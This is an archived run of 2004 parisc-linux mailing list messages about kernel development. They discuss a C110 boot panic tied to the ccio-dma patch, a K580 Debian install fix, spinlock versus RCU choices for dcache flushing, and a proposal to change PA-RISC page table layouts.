Date: Fri, 09 Apr 2004 20:47:27 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <40770BDF.10209@tiscali.be>
References: <405D95D0.9030600@tiscali.be>
	<20040321195716.GC12455@colo.lackof.org>
	<20040323045151.GA6190@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623355 8110 80.91.229.3 (22 Nov 2014 02:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:15 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Fri Apr  9 14:47:30 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EEFA4976
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 14:47:30 -0600 (MDT)
Original-Received: from [83.134.223.208] (port=32804 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BC2uN-0002ut-Ne; Fri, 09 Apr 2004 22:47:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <20040323045151.GA6190@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 20:47:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21357

Hi James,

I come back to you with your ccio-dma patch because I don't undertand this part:
[snip]
#ifdef CONFIG_PROC_FS
/*
  * CCIO_SEARCH_TIME can help measure how fast the bitmap search is.
  * impacts performance though - ditch it if you don't use it.
  */
#define CCIO_SEARCH_TIME
#undef CCIO_MAP_STATS
#else
#undef CCIO_SEARCH_TIME
#undef CCIO_MAP_STATS
#endif

CCIO_MAP_STATS is always undef?

Could it be the panic reason of my c110 (_apparently_ since this patch)?

Thanks in advance for your attention,
	Joel


Grant Grundler wrote:
> On Sun, Mar 21, 2004 at 12:57:16PM -0700, Grant Grundler wrote:
> 
>>>Kernel Fault: Code=26 regs=10594380 (Addr=00000000)
>>
>>null ptr deref.
>>
>>...
>>
>>> IAOQ[0]: lasi700_probe+0x18c/0x1cc
>>> IAOQ[1]: lasi700_probe+0x190/0x1cc
>>> RP(r2): lasi700_probe+0x58/0x1cc
>>
>>IOAQ[0] is the offending instruction.
> 
> 
> James Bottomley observed a problem with hppa_dma_ops
> not being set properly for his U2/Uturn box.
> This is likely the same problem.
> See ccio driver isn't claiming the chip when it should.
> 
> grant
> 


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Everly <david.everly@mci.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 0.9 release (HP 9000/800/K580 install problem)
Date: Fri, 09 Apr 2004 14:51:26 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20040409205126.GE2405@csu6223286.mcilink.com>
References: <20040408231826.GB32148@csu6223286.mcilink.com>
	<20040409094050.639494f0.puffin@esiee.fr>
	<20040409113100.GA1716@csu6223286.mcilink.com>
	<20040409184921.7cf1f5a5.varenet@esiee.fr>
	<20040409171316.GC2405@csu6223286.mcilink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-action=pgp-signed
X-Trace: ger.gmane.org 1416623355 8113 80.91.229.3 (22 Nov 2014 02:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: david.everly@mci.com  Fri Apr  9 14:51:28 2004
Return-Path: <david.everly@mci.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pmesmtp01.mci.com (pmesmtp01.wcom.com [199.249.20.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B09B4853
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 14:51:28 -0600 (MDT)
Original-Received: from pmismtp06.wcomnet.com ([166.38.62.54])
	by firewall.mci.com (Iplanet MTA 5.2)
	with ESMTP id <0HVX006IF8LRVP@firewall.mci.com> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 09 Apr 2004 20:51:27 +0000 (GMT)
Original-Received: from pmismtp06.wcomnet.com by pmismtp06.mcilink.com
	(iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
	with SMTP id <0HVX00H018LQM9@pmismtp06.mcilink.com>; Fri,
	09 Apr 2004 20:51:27 +0000 (GMT)
Original-Received: from csu6223286.mcilink.com ([166.34.135.226])
	by pmismtp06.mcilink.com
	(iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
	with ESMTP id <0HVX00GDV8LQU5@pmismtp06.mcilink.com>; Fri,
	09 Apr 2004 20:51:27 +0000 (GMT)
Original-Received: from deverly by csu6223286.mcilink.com with local
	(Exim 3.36 #1 (Debian))	id 1BC2yE-0000oS-00;
	Fri, 09 Apr 2004 14:51:26 -0600
In-reply-to: <20040409171316.GC2405@csu6223286.mcilink.com>
Content-disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 20:51:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21358

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Fri, Apr 09, 2004 at 11:13:16AM MDT,  wrote:
> Ah yes! I've been searching the archives for something like that, but
> apparently not the right search terms.  I will try this and report back.

It worked.  Install is complete (Debian/Sarge) and everything is
great.  Thank you very much for your help!

> On Fri, Apr 09, 2004 at 10:49:21AM MDT, Thibaut VARENE wrote:
> > Anyway, check that mail, it seems that's there's a solution with newer
> > kernels, with a new major number for /dev/ttyB0:
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2004-April/022830.html

- -- 
David.Everly@mci.com
   V-Net:       622-3286
   Phone: 1-719-535-3286
   Pager: 1-800-PAGE-MCI # 140-1311
      IM: deckrider@jabber.org
   GnuPG: E1B6 40B6 B73F 695E 0D3B  644E 6427 DD74 8527 B9AF

http://agilemanifesto.org/principles.html
http://www.expita.com/nomime.html

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAdwzOZCfddIUnua8RAmOWAKCT/dqFl3MpIvhhAPYQfaA0YyIN6wCfcbkg
yD2YMseC5bpJYeiFMqEF4b0=
=Ef2/
-----END PGP SIGNATURE-----


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Fri, 9 Apr 2004 15:15:07 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20040409211507.GB32385@colo.lackof.org>
References: <405D95D0.9030600@tiscali.be>
	<20040321195716.GC12455@colo.lackof.org>
	<20040323045151.GA6190@colo.lackof.org> <40770BDF.10209@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623355 8115 80.91.229.3 (22 Nov 2014 02:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:15 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Fri Apr  9 15:15:09 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A6164944
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 15:15:09 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 85B5E298052; Fri,  9 Apr 2004 15:15:08 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 00351-04; Fri, 9 Apr 2004 15:15:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EB2FF29804B; Fri,  9 Apr 2004 15:15:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40770BDF.10209@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 21:15:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21359

On Fri, Apr 09, 2004 at 08:47:27PM +0000, Joel Soete wrote:
> /*
>  * CCIO_SEARCH_TIME can help measure how fast the bitmap search is.
>  * impacts performance though - ditch it if you don't use it.
>  */
> #define CCIO_SEARCH_TIME
> #undef CCIO_MAP_STATS
> #else
> #undef CCIO_SEARCH_TIME
> #undef CCIO_MAP_STATS
> #endif
> 
> CCIO_MAP_STATS is always undef?

yes - it interfers with DMA mapping performance.

> Could it be the panic reason of my c110 (_apparently_ since this patch)?

Not likely.
The above disables code that is (should!) not affect basic functionality.
CCIO_MAP_STATS just collects data for /proc/bus/runway/... output.

grant


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@us.ibm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Fri, 9 Apr 2004 18:21:16 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20040410012115.GA1285__37373.2780608863$1416623356$gmane$org@us.ibm.com>
References: <1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
	<20040408171017.GJ31667@dualathlon.random>
	<1081446226.2105.402.camel@mulgrave>
	<20040408175158.GK31667@dualathlon.random>
	<1081447654.1885.430.camel@mulgrave>
	<20040408181838.GN31667@dualathlon.random>
	<1081448897.2105.465.camel@mulgrave>
	<20040408184245.GO31667@dualathlon.random>
Reply-To: paulmck@us.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623356 8116 80.91.229.3 (22 Nov 2014 02:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: paulmck@us.ibm.com  Fri Apr  9 19:21:42 2004
Return-Path: <paulmck@us.ibm.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from linux.local (bi01p1.co.us.ibm.com [32.97.110.142])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E2914851
	for <parisc-linux@parisc-linux.org>;
	Fri,  9 Apr 2004 19:21:42 -0600 (MDT)
Original-Received: by linux.local (Postfix on SuSE Linux 7.3 (i386), from userid 500)
	id B456A148C85; Fri,  9 Apr 2004 18:21:16 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040408184245.GO31667@dualathlon.random>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 01:21:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21360

On Thu, Apr 08, 2004 at 08:42:45PM +0200, Andrea Arcangeli wrote:
> But I've an fairly optimal solution for you, you should make it a
> read_write spinlock, with the readers not disabling interrupts, and the
> writer disabling interrupts, the writer of the prio-tree will not take a
> timeslice, the readers instead will take a timeslice, but since they're
> readers and you've only to read in the flush_dcache_page irq context,
> you don't need to disable irqs for the readers.  I don't have better
> solutions than this one at the moment (yeah there's the rcu reading of
> the prio-tree but I'd leave it for later...)

FWIW, agreed.  Past attempts at RCU-based tree algorithms have been
a bit on the complex side.  While I believe that simpler versions are
possible, RCU-based trees should be approached with caution and with
long lead times.

						Thanx, Paul


From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sat, 10 Apr 2004 08:32:04 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <4077B104.9030707@tiscali.be>
References: <405D95D0.9030600@tiscali.be>
	<20040321195716.GC12455@colo.lackof.org>
	<20040323045151.GA6190@colo.lackof.org> <40770BDF.10209@tiscali.be>
	<20040409211507.GB32385@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623356 8120 80.91.229.3 (22 Nov 2014 02:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Apr 10 02:32:07 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC5294830
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Apr 2004 02:32:07 -0600 (MDT)
Original-Received: from [83.134.224.112] (port=32793 helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BCDuH-000570-Ea; Sat, 10 Apr 2004 10:32:05 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <20040409211507.GB32385@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 08:32:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21361

Grant,

Thanks.

I will so just reversed mentioned patches, check if it is the real cause of my pb.
If yes (I don't see what else) re-apply patch hunk by hunk until it breaks again?

Any better idea?

Joel


Grant Grundler wrote:
> On Fri, Apr 09, 2004 at 08:47:27PM +0000, Joel Soete wrote:
> 
>>/*
>> * CCIO_SEARCH_TIME can help measure how fast the bitmap search is.
>> * impacts performance though - ditch it if you don't use it.
>> */
>>#define CCIO_SEARCH_TIME
>>#undef CCIO_MAP_STATS
>>#else
>>#undef CCIO_SEARCH_TIME
>>#undef CCIO_MAP_STATS
>>#endif
>>
>>CCIO_MAP_STATS is always undef?
> 
> 
> yes - it interfers with DMA mapping performance.
> 
> 
>>Could it be the panic reason of my c110 (_apparently_ since this patch)?
> 
> 
> Not likely.
> The above disables code that is (should!) not affect basic functionality.
> CCIO_MAP_STATS just collects data for /proc/bus/runway/... output.
> 
> grant
> 


From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sat, 10 Apr 2004 12:14:39 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20040410181439.GA13387@colo.lackof.org>
References: <405D95D0.9030600@tiscali.be>
	<20040321195716.GC12455@colo.lackof.org>
	<20040323045151.GA6190@colo.lackof.org> <40770BDF.10209@tiscali.be>
	<20040409211507.GB32385@colo.lackof.org>
	<4077B104.9030707@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623356 8123 80.91.229.3 (22 Nov 2014 02:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:16 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Sat Apr 10 12:14:41 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 414B6484C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Apr 2004 12:14:41 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A0ED5298058; Sat, 10 Apr 2004 12:14:40 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13629-01; Sat, 10 Apr 2004 12:14:40 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0AD43298055; Sat, 10 Apr 2004 12:14:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4077B104.9030707@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 18:14:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21362

On Sat, Apr 10, 2004 at 08:32:04AM +0000, Joel Soete wrote:
> I will so just reversed mentioned patches, check if it is the real
> cause of my pb.

ok

> If yes (I don't see what else) re-apply patch hunk by hunk until it breaks 
> again?

That won't work with the changes to ccio driver. It's all or nothing.

> Any better idea?

I don't understand why C360 (James' machine) works and C110 (your machine)
does not.  C110 doesn't have PCI and maybe different keyboard/LAN.
Find out what is different between the two machines and see if ccio
changes broke one of the drivers for the different HW.

You might need to add pdc_io_reset_devices() to ccio_ioc_init()
since we moved that out of the common code path. I don't see that
in CCIO driver and it's not clear to me if HIL or LAN need it on C110.

It *might* need pdc_io_reset() call instead (or in addition)
but I don't know.  Just another thing to be aware of.

grant


From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: Sat, 10 Apr 2004 14:49:46 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <20040410184946.GB7123@baldric.uwo.ca>
References: <1081513015.1759.5.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623357 8125 80.91.229.3 (22 Nov 2014 02:29:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:17 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: carlos@baldric.uwo.ca  Sat Apr 10 12:49:49 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39075484C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Apr 2004 12:49:49 -0600 (MDT)
Original-Received: from systemhalted ([24.43.36.210])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040410184840.PIHI166482.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Sat, 10 Apr 2004 14:48:40 -0400
Content-Disposition: inline
In-Reply-To: <1081513015.1759.5.camel@mulgrave>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.36.210]
	using ID <patofiero@rogers.com> at Sat,
	10 Apr 2004 14:48:40 -0400
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 18:49:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21363

> New Proposal for Page Table Layout
> ==================================
> 
> The proposal is:
> 
> 1) Make the PTE on both ILP32 and LP64 8 bytes.  Even on LP64, the
>    maximum addressable physical memory is 48bits (256EB), so we can
>    use the top 16 bits for additional flags.  On ILP32 we'd have an
>    extra long, so again, we use the top 16 bits for flags and leave
>    the lower 16 bits unused.  This gives us identical PTE layouts on
>    both ILP32 and LP64
> 
> 2) Make the directories 8k in size (this has to be physically
>    contiguous because the TLB miss handler operates in absolute
>    space).
> 
> 3) Allocate all page tables in ZONE_DMA.  On PA, this means that the
>    physical address of every page table will be under 4GB, so we only
>    need *four* bytes for all of the directory entries. (The flags I'm
>    looking for are only in the PTE, we have plenty of extra space
>    still for directory flags).

Has anyone considered inverted page table layouts?
 
> Now, if you put all this together, you'll see that for ILP32
> executables on the LP64 kernel, we only need a two level page table
> (2048 directory entries * 512 PTEs * 4096 = 4GB), saving us one level
> of indirect lookup.
> 
> Additionally, if we ever get around to implementing LP64 user binaries
> (and you know who you are...) we would then be able to address up to
> 2048 * 2048 * 512 * 4096 = 8EB of virtual space using a three level
> page table.

I've already started porting glibc, I'm convincing autoconf to traverse
the right system dependency directories. Hasn't been too painful yet,
I'm still writing the 64-bit dl-machine to handle the relocations
though. I have it building an ld64.so.1 but it doesn't work yet :)
 
> The disadvantages:
> 
> 1) Our directory entries become order one allocations.  Linux is
>    careful about this, so these type of allocations should be
>    plentiful and we only need one directory per ILP32 process anyway.
> 
> 2) we have to allocate GFP_DMA.  Since very few people actually have a
>    PA machine with more than 4GB of ram, this shouldn't be too much of
>    a problem.
> 
> The advantages:
> 
> 1) We get an extra sixteen PTE flags to play with.
> 
> 2) We use 2 level page tables for ILP32 user processes on LP64.

If we used an inverted page table with hashing it would be a single
level page table, with good cache locality (less spread compared to a
hierarchical table).

> 3) We can unify the narrow and wide TLB miss handlers (we'd actually
>    predicate the 2 or 3 level lookup on the width of the user binary).


Cheers,
Carlos.



From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: 10 Apr 2004 15:11:36 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <1081624296.1841.4.camel@mulgrave>
References: <1081513015.1759.5.camel@mulgrave> 
	<20040410184946.GB7123@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623357 8127 80.91.229.3 (22 Nov 2014 02:29:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:17 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: James.Bottomley@SteelEye.com  Sat Apr 10 13:11:39 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
